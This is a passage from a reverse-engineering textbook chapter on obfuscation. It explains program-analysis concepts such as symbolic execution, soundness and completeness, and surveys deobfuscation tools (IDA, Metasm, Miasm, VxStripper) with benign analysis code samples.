irrelevant according to a criterion provided by the analyst. A static slicing crite-
rion includes a set of variables and a chosen point of interest. A dynamic slicing 
criterion completes a static criterion with the information corresponding to some 

concrete execution. Slicing is of great interest in the reverse engineering context, 

because it is representative of the way a reverser mentally slices a program when 

attempting to understand its inner working. 



292 Chapter 5 ■ Obfuscation

c05.indd 07:18:32:PM  07/20/2016 Page 292

In contrast to static analysis, dynamic analysis is the discipline of automatically 

inferring information about a running computer program. Dynamic analysis 

derives properties that hold for one or more executions of a program, through 

a precise under-approximation. 

A common method of dynamic analysis is dynamic testing, which executes a 

program with several inputs and checks the program’s response. Generally, test 

cases explore only a subset of the possible executions of the program. 

In order to enlarge the coverage of dynamic testing, the principle of sym-
bolic execution (described by Boyer6) uses symbolic values rather than concrete 

inputs. At any point during symbolic execution, a symbolic state of the program 

is updated. This symbolic state consists of a symbolic store and a path constraint. 
The symbolic store contains the symbolic values, and the path constraint is 

a formula that records the history of all conditional branches taken until the 

current instruction.

At a given instruction of the program, you can use a constraint solver (SMT or 

SAT solver) to determine the corresponding path constraint. A satisfying assign-

ment provides concrete inputs with which the program reaches the program 

instruction. By generating new tests and exploring new paths, you can increase 

the coverage of dynamic testing. 

Unfortunately, constraints generated during symbolic execution may be too 

complex for the constraint solver. If the constraint solver is unable to compute a 

satisfying assignment, you cannot determine whether a path is feasible or not. 

Concolic execution (described by Godefroid23 and Sen37) provides a solution to 

this problem in many situations. The idea is to perform both symbolic execution 

and concrete execution of a program. When the path constraint is too complex 

for the constraint solver, you can use the concrete information to simplify the 

constraint (typically by replacing some of the symbolic values with concrete 

values). You can then expect to fi nd a satisfying assignment of this simplifi ed 

constraint.

Because symbolic execution is unable to handle an unbounded loop, which 

results in infi nite symbolic execution paths, it must under-approximate the 

concrete semantics of the program. You can perform this simplifi cation by fi x-

ing some arbitrary loop limit. Another solution is to use symbolic execution in 

conjunction with a static analysis inferring loop invariants.

It appears that dynamic and static analysis approaches form a continuum. As 

an illustration, dynamic testing, symbolic execution, and abstract interpretation 

are three ways of approximating the concrete semantics of a program. Dynamic 

analysis uses concrete values and explores a subset of concrete transitions. 

Symbolic execution clearly lies between dynamic testing and static analysis. 

It rests on a more abstract semantics, but also an under-approximation. An 

abstract interpreter over-approximates the concrete semantics of the program. 
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However, the borderline between those analysis approaches is not so easy 

to defi ne. For example, symbolic execution can be defi ned as a logical abstract 

interpreter, operating over the abstract domain of logical formulas. 

In conclusion, many static analysis methods are improved by the use of a 

dynamic analysis–based refi nement. Conversely, the coverage of many dynamic 

analysis methods can be increased by using traditional static analysis methods. 

Thus, the investigation of hybrid dynamic/static approaches is of great interest, 

especially in the context of reverse engineering. The soundness and complete-

ness criteria can be used to capture this synergy. 

Soundness and Completeness

You can formulate any program analysis problem as verifi cation that the pro-

gram satisfi es a property. Two fundamental concepts can be used to character-

ize an analysis algorithm: its soundness and its completeness. These concepts, 

traditionally applied to logical systems, can also be applied to program analysis. 

Unfortunately, because of their dual natures (soundness and completeness cor-

respond to converse implications in logic), there is still no consensus regarding 

their application to the various specialized areas of research in the literature.

Given a property, a sound program analysis identifi es all violations of the 

property. However, because it over-approximates the behaviors of the program, 

it may also report violations of the property that cannot occur. For example, a 

sound error detection algorithm detects every possible error, though some of 

them may not occur at run-time.

A sound partial evaluation algorithm preserves the original program’s con-

crete semantics, in the sense that the specialized program does not produce 

any output value that is not produced by the original program (even if it may 

not be able to produce all of them).

A sound symbolic execution guarantees that because a symbolic constraint 

path is satisfi able, there must be a concrete execution path that reaches the cor-

responding concrete state (even if some reachable concrete state does not have 

a corresponding symbolic state).

A sound abstract interpreter preserves the program’s concrete semantics. If it 

claims that an optimization transformation is possible for a program, then the 

optimization can be applied without breaking the program semantics. Observe, 

however, that it may be unable to answer the question for some optimizations. 

It can claim that an optimization is unsafe even if it is in fact possible to apply 

the transformation (without any destructive effect). Some potential optimiza-

tions will not be applied. The soundness of the abstract interpreter is relative to 

which questions it can answer correctly, despite the loss of information. In that 

sense, it is conservative. Technically, the least fi xpoints computed by an abstract 

interpreter represent at least all occurring run-time concrete states.
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For example, a constant propagation algorithm is sound when any constant 

it detects is indeed a constant. However, some constants may be not detected. 

Given a property, a complete analysis algorithm reports a violation of the prop-

erty only if there is a concrete violation of the property. However, because it 

under-approximates the behaviors of the program, some concrete violations of 

the property may not be reported.

A complete partial evaluation algorithm results in the generation of a spe-

cialized program that is able to produce the same output values as the original 

program for the intended input values. If unsound, it may produce unexpected 

output values (i.e., not produced by the original program).

A complete symbolic execution covers all concrete transitions. It guarantees 

that if a concrete execution state is reachable, then there must be a corresponding 

symbolic state. Because symbolic execution is unable to handle an unbounded 

loop, which results in infi nite symbolic execution paths, it must under-approximate 

the concrete semantics of the program (typically by providing some loop limit). 

Therefore, symbolic execution algorithms are most often incomplete.

A complete abstract interpreter is the most precise for answering a given set 

of questions. Technically, this means that every state represented by the least 

fi xpoint is reachable for some concrete input. For example, a complete constant 

propagation algorithm would be able to detect every constant in a program.

We have presented some criteria (soundness and completeness) that can 

always be applied to evaluate an analysis algorithm. It is possible to derive from 

them some security criteria about obfuscation robustness (and, in a dual way, 

deobfuscation transformation effi ciency).

Abstract interpretation can be used for modeling any program transformation 

(refer to the paper by Patrick and Radia Cousot15). By considering the syntax 

of a program as an abstraction of its concrete semantics, we can formalize any 

syntactic program transformation as an abstract interpretation of the corre-

sponding semantic transformation. 

A particular application of this concerns obfuscation and deobfuscation trans-

formations modeling. Mila Dalla Preda and Roberto Giacobazzi18 investigate 

the semantic transformations corresponding to opaque predicate insertion. 

By modeling deobfuscation as an abstraction interpretation, they observe that 

breaking opaque predicates corresponds to having complete abstraction. The 

completeness criterion turns out to be of special interest in terms of qualifying 

both deobfuscator effectiveness and opaque predicate robustness.

In conclusion, many methods already used in program analysis and compila-

tion are of interest in the context of reverse engineering. As demonstrated earlier, 

the frontier between static and dynamic analysis is not so obvious. Currently, 

the abstract interpretation model seems to be suffi ciently general to apply to 

both types of analyses. The soundness and completeness criteria are of special 

interest when modeling obfuscation and deobfuscation transformations in the 
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abstract interpretation framework. You have seen that both the soundness and 

the completeness of an algorithm can be defi ned for static and dynamic analy-

ses (data fl ow analyses, partial evaluation, slicing, symbolic execution), which 

are good candidates to represent the actions conducted by reversers when they 

try to simplify the representation of an obfuscated program. Using the abstract 

interpretation model, static and dynamic analyses appear to be dual in nature. 

This duality and the gain that can be obtained from a synergy between static 

and dynamic methods lead to new possibilities that must be investigated in the 

future, through the study of hybrid methods. 

This section presented some academic models and criteria, as well as dynamic 

and static analysis methods, that can be useful for designing and evaluating 

deobfuscation algorithms. It also stressed the importance of hybrid methods. 

The next section presents some of the tools currently available to assist in undo-

ing obfuscation transformations.

Deobfuscation Tools

In this section we discuss some of the tools that you can use to reverse engineer 

obfuscated code and especially the features they offer to ease your job. Please 

note that this list is not meant to be exhaustive in any way; it is based on the 

experience of some of the authors and seeks to present different categories of tools.

IDA

IDA is the state-of-the-art tool for reverse engineering binary code. Throwing 

the binary one wants to analyze into IDA is a common refl ex, so there’s prob-

ably no need to introduce this tool here; otherwise, readers can refer to the The 
IDA Pro Book by Chris Eagle (No Starch Press, 2011). Regarding the specifi c topic 

that interests us here, dealing with obfuscated code using IDA is problematic 

(although not impossible) for a few reasons:

 ■ That’s not the purpose for which IDA is primarily intended. Obfuscated 

code is a very particular case, and handling every specifi c situation/trick 

would be an endless job; thus it’s better not to start on this path.

 ■ We have very little control over the disassembler, a point that greatly 

impedes us when encountering obfuscation schemes that break/disrupt/

destroy the control-fl ow graph. IDA’s disassembler is really easy to confuse 

and one often ends up with the chicken-and-egg problem: To recover the 

control fl ow one needs to clean the data fl ow, but to clean the data fl ow 

one needs the control fl ow.

 ■ IDA itself doesn’t offer any sort of intermediate representation (IR) or at 

least instruction semantics, so advanced analysis of its output is not trivial.
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In 2008 at the ICAR workshop (http://www.hex-rays.com/ products/ida/

support/ppt/caro_obfuscation.ppt), Ilfak Guilfanov offered some useful tips 

on how to use specifi c features of IDA:

 ■ Graph-level block merging to simplify the CFG

 ■ Event-driven, on-the-fl y modifi cation of the graph using hooks like grcode_

changed_graph (see graph.hpp in the SDK)

 ■ Develop specifi c plugins

IDA can be extended using scripts (either IDC or IDAPython) or plugins (see 

IDA’s SDK). If you were to implement some advanced analysis, that’s where you 

would be able to interact.

To that end, some plugins have been developed as deobfuscation frame-

works (for example, Branko Spasojevic’s Optimice plugin, http://optimice.

googlecode.com). Trying to address some of the issues previously mentioned, 

including instruction semantics—based on the x86 Opcode and Instruction 

Reference (http://ref.x86asm.net/)—the plugin offers CFG reduction, peep-

hole optimizations, and dead code removal.

Metasm

Metasm (http://metasm.cr0.org) is open source framework (released under 

the GNU Lesser GPL v2) developed by Yoann Guillot. It defi nes itself as an 

assembly manipulation suite. The framework, written in Ruby, actually offers 

cross-architecture assembler, disassembler, compiler, linker, and debugger fea-

tures. Currently supported processors are Intel x86/x64, MIPS, PPC, Sh4, and 

ARCompact. Most common fi le formats are supported as well, such as MZ, PE/

COFF, ELF, Mach-O, and so on.

Disassembler Callbacks

The behavior of the disassemblery can be dynamically modifi ed using a set of 

exported callbacks of the Disassembler class. The two most useful for deob-

fuscation are as follows:

 ■ callback_newaddr—This is called each time a path is discovered and is 

about to be disassembled. At this point you can inspect the path back-

ward or forward for unseemliness; most important, you can modify the 

behavior of the disassembly engine—removing a spurious control transfer, 

thwarting a disassembler trap, etc.

 ■ callback_newinstr—As its name suggests, your callback is called each 

time a new instruction is disassembled.

http://www.hex-rays.com/products/ida/support/ppt/caro_obfuscation.ppt
http://www.hex-rays.com/products/ida/support/ppt/caro_obfuscation.ppt
http://optimice.googlecode.com
http://ref.x86asm.net/
http://metasm.cr0.org
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Instruction Semantics

One of the framework’s key features is backtracking (think of it as program 

slicing). This feature is at the heart of its disassembly engine. It enables very 

precise control fl ow recovery, at the cost of performance. Built on top of this 

feature, the framework’s API also offers a method to compute the semantics 

of a basic block. Metasm does not use a strict intermediate language, however; 

it relies on a description of the semantics of each instruction. The associated 

terminology in the framework is binding. Metasm separates control fl ow and 

data fl ow semantics encoding. Four types are used to describe the semantics 

of an instruction:

 ■ Numerical value

 ■ Symbol—Whatever is not a numerical value, based on Ruby’s symbol type

 ■ Expression: Expression[operand1, (operator), (operand2)]—An 

operand can be any of the four types.

 ■ Indirection—Memory indirection Indirection[target, size, origin]

The following snippet will introduce you to the Metasm instructions’ binding:

# encoding: ASCII-8BIT

#!/usr/bin/env ruby

require "metasm" 

include Metasm

# produce x86 code 

sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<EOS) 

add eax, 0x1234

mov [eax], 0x1234

ret 

EOS 

dasm = sc.init_disassembler

# disassemble handler code 

dasm.disassemble(0)

# get decoded instruction at address 0

# then its basic block 

bb = dasm.di_at(0).block

# display disassembled code

puts "\n[+] generated code:"

puts bb.list

# run though the basic block's list of decoded instruction 

bb.list.each{|di| 

    puts "\n[+] #{di.instruction}" 

    sem = di.backtrace_binding()
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    puts " data flow:" 

    sem.each{|key, value| puts   * #{key} => #{value}"}

    # does instruction modify the instruction pointer ?

    if di.opcode.props[:setip] 

        puts " control flow:"

        # then display control flow semantics 

        puts "  * #{dasm.get_xrefs_x(di)}" 

    end

}

For each DecodedInstruction, you call the backtrace_binding method. 

It returns a hash. Each key/value pair represents an assignment of the key 

according to the value and expresses outputs with respect to inputs. Running 

the scripts produces the following result:

 [+] generated code:

0 add eax, 1234h

5 mov dword ptr [eax], 1234h

0bh ret ; endsub entrypoint_0

[+] add eax, 1234h 

  data flow:

    * eax => eax+1234h

    * eflag_z => ((eax+1234h)&0ffffffffh)==0

    * eflag_s => (((eax+1234h)>>1fh)&1)!=0

    * eflag_c => ((eax&0ffffffffh)+1234h)>0ffffffffh

    * eflag_o => (((eax>>1fh)&1)==0)&&((((eax>>1fh)&1)!=0)!=

                 ((((eax+1234h)>>1fh)&1)!=0))

[+] mov dword ptr [eax], 1234h 

  data flow:

    * dword ptr [eax] => 4660

[+] ret 

  data flow:

    * esp => esp+4+0

  control flow:

    * [Indirection[Expression[:esp], 4, 0xb]]

The RET instruction is quite representative of the distinction between data 

fl ow and control fl ow. The get_xrefs_x method provided by the disassembler 

object returns a list (a Ruby Array object) of possible values for the instruction 

pointer. For that specifi c instruction, it is an indirection whose target is the ESP 

register and whose size is 4 (for the Ia32 architecture)—i.e., dword ptr [ESP]; 

0xb is the address in the program where the indirection occurs.

Backtracking and Slicing

So far, you have seen how the semantics are described for each isolated instruc-

tion. Now consider instructions within a control fl ow and how an instruction’s 
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binding can be used. For this purpose, the following example demonstrates a 

typical dynamic jump computation pattern:

# encoding: ASCII-8BIT 

#!/usr/bin/env ruby

require "metasm"

include Metasm

# produce handler's x86 code

sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<EOS) 

entry:

    mov ecx, 1 

    shl ecx, 0xA 

    add edx, 0xBADC0FFE

    mov eax, 0x100000 

    lea eax, [ecx+eax] 

    add ecx, 0xBADC0FFE 

    jmp eax

EOS

# disassemble handler code 

dasm = sc.init_disassembler 

dasm.disassemble(0)

# get basic block 

bb = dasm.block_at(0)

target = dasm.get_xrefs_x(bb.list.last).first 

puts "[+] jmp target: #{target}"

# backtrace 

values = dasm.backtrace(target, bb.list.last.address, 

    {:log => bt_log = [], :include_start => true})

get_xrefs_x tells you which target is the fi nal jump instruction. Then the 

backtrace method is used to walk back through the control fl ow, following 

variable dependencies, until it reaches variable assignations or simply hits its 

complexity limit. Each step of the backtracker is stored within the array bt_log. 

The following adds a few more lines to nicely output the record:

bt_log.each{|entry| 

    case type = entry.first 

    when :start 

        entry, expr, addr = entry 

        puts "[start] backtacking expr #{expr} from 0x#{addr.to_s(16)}"

    when :di 

        entry, to, from, instr = entry 

        puts "[update] instr #{instr},\n  -> update expr from #{from} to

#{to}\n"

    when :found 

       entry, final = entry 
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       puts "[found] possible value: #{final.first}\n"

    when :up 

        entry, to, from, addr_down, addr_up = entry 

        puts "[up] addr 0x#{addr_down.to_s(16)} -> 0x#{addr_up.to_s(16)}"

    end

}

Here is the output from the sample:

[+] jmp target: eax
[start] backtacking expr eax from 0x1c
[update] instr 13h lea eax, [ecx+eax],
  -> update expr from eax to ecx+eax 
[update] instr 0eh mov eax, 100000h,
  -> update expr from ecx+eax to ecx+100000h
[update] instr 5 shl ecx, 0ah,
  -> update expr from ecx+100000h to (ecx<<0ah)+100000h
[update] instr 0 mov ecx, 1,
  -> update expr from (ecx<<0ah)+100000h to 100400h
[found] possible value: 100400h

The backtracking engine has been able to walk back the instruction fl ow to 

compute the fi nal value of the backtracked expression. A simplifi cation engine 

enables solving (or at least reducing) expressions at both the symbolic and 

numerical levels.

From the log record it is even possible to extract a slice—that is, the minimal 

subset of the original program that produces the studied effect (the slicing 

criterion). In this case the slice will contain all the instructions involved in the 

computation of the JMP destination:

# DecodedInstruction object is the 3rd item of :id entry 

slice = bt_log.select{|e| e.first==:di}.map{|e| e[3]}.reverse 

puts slice

The slice is as follows:

0 mov ecx, 1
5 shl ecx, 0ah
0eh mov eax, 100000h
13h lea eax, [ecx+eax]

Note how nonsignifi cant computations/assignations (e.g., the ones using the 

constant 0BADC0FFEh) have been eliminated from this list.

That sample is an ideal case: The expression can statically be reduced/solved 

into a numerical value. Now, imagine you remove the fi rst assembly line (MOV ECX, 

1)—within the basic block scope ECX is undefi ned—and then redo the analysis:

[+] jmp target: eax
[start] backtacking expr eax from 0x17 
[update] instr 0eh lea eax, [ecx+eax],
  -> update expr from eax to ecx+eax 
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[update] instr 9 mov eax, 100000h,
  -> update expr from ecx+eax to ecx+100000h 
[update] instr 0 shl ecx, 0ah,
  -> update expr from ecx+100000h to (ecx<<0ah)+100000h

The return value is an object of type Expression  whose value is 

(ECX<<0Ah)+100000h. 

This example is fairly trivial. The capacity of the backtracker goes far beyond 

that. The following modifi es the preceding sample to include a more complex 

control-fl ow graph:

# produce handler's x86 code 

sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<EOS) 

entry:

    mov ecx, 1 

    test edx, edx 

    jnz label inc cl

label:

    shl ecx, 0xA 

    add edx, 0xBADC0FFE 

    mov eax, 0x100000 

    lea eax, [ecx+eax] 

    add ecx, 0xBADC0FFE 

    jmp eax

EOS

# disassemble handler code 

dasm = sc.init_disassembler 

dasm.disassemble(0)

# get last basic block 

bblist = dasm.instructionblocks.sort{|b1, b2| b1.address <=> b2.address}

bblist.each{|bb| puts "-\n", bb.list} 

bb = bblist.last

Basically, this has inserted an instruction (TEST EDX, EDX) controlling a con-

ditional jump; in one case ECX is incremented, in the other it is not. The updated 

output is as follows:

[+] jmp target: eax

[start] backtacking expr eax from 0x21 

[update] instr 18h lea eax, [ecx+eax],

  -> update expr from eax to ecx+eax 

[update] instr 13h mov eax, 100000h,

  -> update expr from ecx+eax to ecx+100000h 

[update] instr 0ah shl ecx, 0ah,

  -> update expr from ecx+100000h to (ecx<<0ah)+100000h

[up]    addr 0xa -> 0x9

[up]    addr 0xa -> 0x7

[update] instr 0 mov ecx, 1,

  -> update expr from (ecx<<0ah)+100000h to 100400h

[found] possible value: 100400h
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[update] instr 9 inc ecx,

  -> update expr from (ecx<<0ah)+100000h to ((ecx+1)<<0ah)+100000h

[up]    addr 0x9 -> 0x7

[update] instr 0 mov ecx, 1,

  -> update expr from ((ecx+1)<<0ah)+100000h to 100800h

[found] possible value: 100800h

The backtracker returns an array of two possible values: 100400h or 100800h. 

Note how it has followed the control fl ow over the CFG. (Both branches of the 

conditional have been followed.) An [up] tag indicates a basic block’s crossing. 

Backtracking really is at the heart of the disassembler and produces a more 

accurate disassembly. Obviously, this feature comes with severe performance 

penalties (remember the trade-off between computability and precision).

Code Binding

You know how to obtain the semantics of an isolated instruction, and you know 

how to backtrack a value and compute a slice for that particular value. What if 

you could generalize this process and compute the semantics of a basic block? 

This is another very powerful feature of Metasm: the code_binding method, 

provided by the disassembler object. It totally relies on the backtracking feature. 

Here is its usage on the last basic block of the previous example:

# compute basic block's semantics 

bbsem = dasm.code_binding(bb.list.first.address, bb.list.last.address) 

puts "\n[+] basic block semantics"

bbsem.each{|key, value| puts "    * #{key} => #{value}"}

Its output is as follows:

[+] basic block semantics
    * eax => ((ecx<<0ah)+100000h)
    * ecx => ((ecx<<0ah)+badc0ffeh)
    * edx => (edx+badc0ffeh)

Miasm

Miasm (http://code.google.com/p/smiasm) is a reverse engineering framework 

developed by Fabrice Desclaux that offers PE/ELF manipulation, assembling, 

and disassembling (currently supports Ia32, ARM, PPC, and Java bytecode). 

Like Metasm, Miasm is open source and released under the GNU Lesser GPL 

v2, so you can delve into its engine to customize specifi c needs. The examples 

provided in this section are based on the latest revision of MIASM available at 

the time of writing (changeset:270:6ee8e9a58648).

The framework relies on an intermediate language. That means most com-

mon instructions have their semantics encoded as a list of expressions. “List” 

is to be understood in its Python meaning (i.e., an ordered set of objects). 

http://code.google.com/p/smiasm
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The grammar of Miasm’s IR makes use of nine basic expression types, the most 

important of which are as follows:

 ■ ExprInt—Numerical value

 ■ ExprId—Identifi er/symbol, whatever is not a numerical value; for example, 

registers are defi ned as ExprId

 ■ ExprAff—Affectation a = b

 ■ ExprCond—Ternary/conditional operator a ? b : c

 ■ ExprMem—Memory indirection

 ■ ExprOp—Operation op(a,b,...)

It also provides full support for slices (think of it as an object to represent 

bitfi elds) and slice composition. The IR allows symbolic computations and is 

equipped with an expression simplifi cation engine.

For each supported processor, a “sem” suffi xed fi le describes the semantics 

of most common instructions. See, for example, the ADD semantics as defi ned 

in “miasm/arch/ia32 sem.py”:

def add(info, a, b): 
    e= [] 
    c = ExprOp('+', a, b)
    e+=update_flag_arith(c) 
    e+=update_flag_af(c) 
    e+=update_flag_add(a, b, c) 
    e.append(ExprAff(a, c)) 
    return e

This function builds the semantics of the instructions based on its two operands 

(a and b). One can easily write a piece of script to demonstrate these features:

#! /usr/bin/env python

from miasm.arch.ia32_arch import * 
from miasm.tools.emul_helper import *

# assemble instruction asm at given address 

def instr_sem(instr, address): 
    print "\n[+] instruction %s @ 0x%x" % (instr, address) 
    binary = x86_mn.asm(instr) 
    di = x86_mn.dis(binary[0])
    semantics = get_instr_expr(di, address) 
    for expr in semantics:
        print "  %s" % expr
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instr_sem("add eax, 0x1234", 0) 
instr_sem("mov [eax], 0x1234", 0) 
instr_sem("ret", 0) 
instr_sem("je 0x1000", 0)

Here is the output:

[+] instruction add eax, 0x1234 @ 0x0 

  zf = ((eax + 0x1234) == 0x0)

  nf = ((0x1 == ((eax + 0x1234) >> 0x1F)) & 0x1)

  pf = (parity (eax + 0x1234)) af = (((eax + 0x1234) & 0x10) == 0x10) 

  cf = ((0x1 == (((eax ^ 0x1234) ^ (eax + 0x1234)) >> 0x1F)) ^

       (0x1 == ((((eax + 0x1234)) & (! (eax ^ 0x1234))) >> 0x1F))) 

  of = (0x1 == (((eax ^ (eax + 0x1234)) & (! (eax ^ 0x1234))) >> 0x1F))

  eax = (eax + 0x1234)

[+] instruction mov [eax], 0x1234 @ 0x0

  @32[eax] = 0x1234

[+] instruction ret @ 0x0 

  esp = (esp + (0x4 + 0x0)) 

  eip = @32[esp]

[+] instruction je 0x1000 @ 0x0 

  eip = (zf == 0x1)?(0x1000,0)

The ADD instruction’s semantics seem the most complex, due to the fl ags 

update. Here is the MOV instruction’s semantics with an explicit typing of object:

[+] instruction mov [eax], 0x1234 @ 0x0
  ExprAff( ExprMem(@32[ExprId(eax)]) = ExprInt(0x1234) )

This is a very appreciable and powerful feature. Built upon the IR, there is a 

just-in-time (JIT) compilation feature whereby code is fi rst disassembled, trans-

lated into IR, then regenerated as native code for execution. The documentation 

and samples provide use cases of Miasm for packer/VM analysis as well as 

binary instrumentation.

VxStripper

VxStripper is a binary rewriting tool, developed by Sébastien Josse. Designed 

for analysis of protected and potentially hostile binary programs, it dynami-

cally extracts an intermediate representation of a binary executable and all the 

necessary information to apply certain simplifi cations, making the binary inner 

workings easier to understand for the analyst.

One of the main motivations behind the design and implementation options 

of this tool is to circumvent current limitations of existing malware and binary 

programs analysis solutions. (Many tools come with their own intermediate 

representation—non-exportable, sometimes proprietary—making diffi cult 

their integration. Moreover, many of them are not suitable for analysis of hos-

tile or protected code.) The goal is to get as much information as possible from 
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a binary program that uses all available techniques and tools to protect this 

information. The idea is to instrument a virtual computer processing unit and 

a guest operating system in a non-intrusive way to dynamically get informa-

tion required to rebuild the program and simplify its representation. This tool 

is based on the dynamic binary translator engine of QEMU and on the LLVM 

compilation chain. 

LLVM (Low Level Virtual Machine) is a compilation chain that comes with 

a consequent set of optimizations that can be applied across the entire lifetime 

of a program. LLVM uses a strongly typed RISC-like instruction set and a static 

single assignment (SSA) representation (using this representation, each temporary 

variable is assigned only once). LLVM includes many binary back-ends (x86, 

x86-64, SPARC, PowerPC, ARM, MIPS, CellSPU, XCore, MSP430, MicroBlaze, 

PTX) and some source code back-ends (C, C++). Readers can refer to the paper 

by Lattner31 for further details about LLVM.   

The QEMU (Quick EMUlator) Dynamic Binary Translator (DBT) is used to 

dynamically translate the binary code from the guest CPU architecture to the host 

CPU architecture, through the use of an IR called TCG (Tiny Code Generator). 

This language consists of simple RISC-like instructions called micro-operations. 
The binary translation consists of two stages. The guest binary code is fi rst 

translated in sequences of TCG instructions, called translation blocks (DBT front 

end). Then, the translation blocks are converted into code executable by the host 

CPU (DBT back end). QEMU’s DBT comes with many binary front ends (x86, 

x86-64, ARM, ETRAX CRIS, MIPS, Micro Blaze, PowerPC, SH4, and SPARC). 

Readers can refer to the paper from Bellard4 for further details about QEMU. 

VxStripper inherits from QEMU the many binary front ends, and from LLVM 

the many back ends, providing at reasonable cost a complete binary rewriting 

framework. The rewriting functions are implemented as LLVM passes. 

Its current design builds upon work already done to convert TCG IR to LLVM 

IR (LLVM-QEMU, described by Scheller36, and S2E, described by Chipounov8), 

as well as upon design algorithms presented by Josse.27, 28

One of the goals of this tool is collaboration with the many software analysis 

tools based on the LLVM compilation chain, through an “exported” representa-

tion of the malware program. This binary analysis tool is especially designed 

to solve the problem of hostile programs analysis. The goal is to automate the 

often fastidious and repetitive tasks driven by an analyst. 

This compilation chain is based on a modular and evolutionary architecture, 

making it possible to apply the same transformations to a wide variety of soft-

ware and hardware architectures. It is based on a modern compilation chain, 

providing effi cient intermediate representation and functionalities. 

Vellvm (Verifi ed LLVM), described by Zhao,43 provides formal tools to reason 

on transformations that operate on LLVM’s intermediate representation. Vellvm 

can be used to extract formally verifi ed implementations of deobfuscation passes 

implemented in VxStripper.
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QEMU DBT Extension 

You have seen that the QEMU DBT engine performs the dynamic translation 

of the binary code from the guest processor architecture to the host processor 

architecture by using the TCG intermediate representation.

Using a simple example, the following instruction demonstrates what this 

language looks like:

0x0040104c:  push   0xa

The preceding instruction is translated as follows in the QEMU TCG 

representation:

(1)    movi_i32 tmp0,$0xa 
(2)    mov_i32 tmp2,esp 
(3)    movi_i32 tmp13,$0xfffffffc
(4)    add_i32 tmp2,tmp2,tmp13
(5)    qemu_st32 tmp0,tmp2,$0x1
(6)    mov_i32 esp,tmp2
(7)    movi_i32 tmp4,$0x40104e
(8)    st_i32 tmp4,env,$0x30
(9)    exit_tb $0x0

This TCG instructions block emulates the execution of the push instruction 

on the software CPU. The performed operations are as follows: The integer 0xa 

is stored in the variable tmp0 (line 1). This variable is then stored on the stack 

(lines 2–6). The address of the instruction following the current instruction is 

stored in tmp4 (line 7) and then stored in the QEMU VPU register cc_op. The 

last instruction (line 9) indicates the end of the TCG block. 

The tool modifi es the DBT mechanism in such a way that the instrumentation 

function of the virtual CPU is systematically invoked before the execution of a 

translation block. To achieve this, you add an extra micro operation (op_callback) 

that takes as operand the address of the instrumentation function (vpu_callback).  

The resulting TCG code is as follows:

(1)    op_callback @vpu_callback
(2     movi_i32 tmp0,$0xa 
(3)    mov_i32 tmp2,esp 
(4)    movi_i32 tmp13,$0xfffffffc
(5)    add_i32 tmp2,tmp2,tmp13
(6)    qemu_st32 tmp0,tmp2,$0x1
(7)    mov_i32 esp,tmp2
(8)    movi_i32 tmp4,$0x40104e
(9)    st_i32 tmp4,env,$0x30
(10)   exit_tb $0x0   

This mechanism enables you to execute your instrumentation code at each 

execution cycle of the virtual CPU. With access to VPU registers and to the 

virtual PC memory, you can acquire a process context and extract information 

about its interactions with the guest operating system. 
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By also instrumenting the load and storing TCG instructions, you can extract 

information about the interactions of the target process with the memory of 

the guest system. Thanks to this information, you can recover the relocation 

information of the process. 

Now that you have seen how to modify the QEMU virtual CPU to enable 

the systematic invocation of your instrumentation function, let’s examine the 

translation of TCG intermediate representation to LLVM representation. The 

result of translating the preceding TCG block is as follows:

(1)  %esp_v.i = load i32* @esp_ptr
(2)  %tmp2_v.i = add i32 %esp_v.i, -4
(3)  %4 = inttoptr i32 %tmp2_v.i to i32*
(4)  store i32 10, i32* %4
(5)  store i32 %tmp2_v.i, i32* @esp_ptr
(6)  store i32 4198478, i32* %next.i
(7)  store i32 0, i32* %ret.i

The integer 0xa is stored at the address pointed to by the variable %4, which 

is equivalent to storing it on the stack (lines 1–4). The address of the instruction 

following the current instruction is stored in the variable %next.i (line 6). The 

last instruction (line 7) fi nishes the LLVM block.  

After the normalization process, this LLVM block is compiled to the follow-

ing assembly code:

401269!  mov dword ptr [esp-14h], 0ah

Now that you have an overview of the main modifi cations applied to the 

QEMU emulator, as shown schematically in Figure 5-2, the following section 

describes the general architecture of the tool.
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Host CPU ISA

HostCPU
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Figure 5-2
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Architecture of VxStripper

VxStripper implements an extended DBT engine and several specialized analy-

sis functions (see Figure 5-3) to observe the target program and its execution 

environment.

VPU State

VPU
Front-End

VPU callbacks and shell commands

VPU API

External
Analysis

Tool

API Hooking
Module

Guest OS
Description

Guest OS Symbol
Provider

Normalization
Module

Unpacking
Module

VPU
Back-End

TCG IL
LLVM IL

LLVM
IL

Transl.Block

…

Figure 5-3

A module manager handles activation and collaboration between these analysis 

functions, implemented as plugins. 

These analysis functions extract semantic information from the target pro-

gram. This information can be the trace of its interactions with APIs of the 

guest operating system, or the way it handles objects and structures of the guest 

operating system’s executive or kernel, or more simply its machine code trace.

The extraction of this information rests on a description of the guest operat-

ing system, which can be provided, for example, by a symbol server, as is the 

case for the family of Windows operating systems. 

Among the modules already implemented, you notably fi nd the following:

 ■ An API hooking module 

 ■ A forensics analysis module 

 ■ An unpacking module 

 ■ A normalization module
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API Hooking

The native and Windows API hooking module of VxStripper is based on forensic 

analysis of the guest operating system’s memory, without any interaction with 

the guest operating system.  

The Windows executive maintains a set of structures that contains information 

about the loaded modules for a given process inside its memory space. These 

data structures can be recovered by using the process environment block (PEB), 

which can itself be accessed as an offset of segment register FS. The native and 

Windows API hooking modules of VxStripper use this information to locate 

and instrument Windows API. 

Forensics/Root-Kit Analysis

The forensics module of VxStripper comes with additional features to monitor 

and check the integrity of many locations within the guest platform where a 

hook can be installed. It walks through executive structures of the operating 

system in order to identify potential targets of a root-kit attack and monitor 

hardware components that could be corrupted by a root-kit. This information 

is crucial for the analyst to understand low-level viral attacks.

For the purposes of this chapter, you can consider these features to be similar 

to those expected from a kernel debugger. You can attach a process, view its CPU 

state and disassembled code, and trace the interaction of the target program 

with the operating system API. This inspection is done in a safe and controlled 

environment, without any intrusive interaction with the guest operating system. 

The following two sections take a closer look at the working of Vxstripper’s 

two most important analysis modules: the unpacking module and the normal-

ization module.

Unpacking Module

The unpacking module locates the original entry point (OEP) of the target execut-

able, gets information relative to its interactions with the operating system API, 

and extracts the relocation information.

The underlying idea is a simple integrity check of the target program’s execut-

able code: For each translation block of the program, a comparison between its 

value in virtual memory and its value on the host fi le system is made. As long 

as the values are identical, nothing is done. As soon as a difference is identi-

fi ed, the current translation block is written into the raw fi le in place of the old 

translation block. The fi rst instruction of the newly generated translation block 

